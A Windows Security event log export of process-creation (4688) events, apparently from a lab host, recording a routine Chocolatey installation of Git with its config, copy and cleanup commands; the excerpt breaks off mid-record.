C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.smudge" "git-lfs smudge -- %f" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3fc - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdf0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "filter.lfs.clean" "git-lfs clean -- %f" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdf0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdf0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "filter.lfs.clean" "git-lfs clean -- %f" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246105 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\Program Files\Git\mingw64\bin\git.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: .\mingw64\bin\git.exe config --system "diff.astextplain.textconv" "astextplain" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246104 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe5c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246103 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd80 - Creator Process Name: C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp - Process Command Line: "C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "diff.astextplain.textconv" "astextplain" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfdc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb20 - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246189 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb20 - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xeec - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246188 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xff0 - New Process Name: C:\Program Files\Git\usr\bin\rm.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\rm.exe" -rf /etc/post-install - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246187 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc74 - New Process Name: C:\Program Files\Git\usr\bin\chmod.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\chmod.exe" 1777 /tmp - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe2c - New Process Name: C:\Program Files\Git\usr\bin\cp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa34 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\networks /etc/networks - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246183 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa34 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246182 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x830 - New Process Name: C:\Program Files\Git\usr\bin\expr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8c8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\expr.exe" substr networks 1 8 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8c8 - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246180 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed8 - New Process Name: C:\Program Files\Git\usr\bin\cp.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x46c - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\cp.exe" -p -v C:\Windows\system32\drivers\etc\services /etc/services - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246179 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Program Files\Git\usr\bin\bash.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfc8 - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: usr\bin\bash.exe --norc -c "export PATH=/usr/bin:$PATH; export SYSCONFDIR=/etc; for p in $(export LC_COLLATE=C; echo /etc/post-install/*.post); do test -e \"$p\" && . \"$p\"; done" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246178 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf44 - New Process Name: C:\Program Files\Git\usr\bin\expr.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe5c - Creator Process Name: C:\Program Files\Git\usr\bin\bash.exe - Process Command Line: "C:\Program Files\Git\usr\bin\expr.exe" substr services 1 8 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246177 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x72EE6 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon 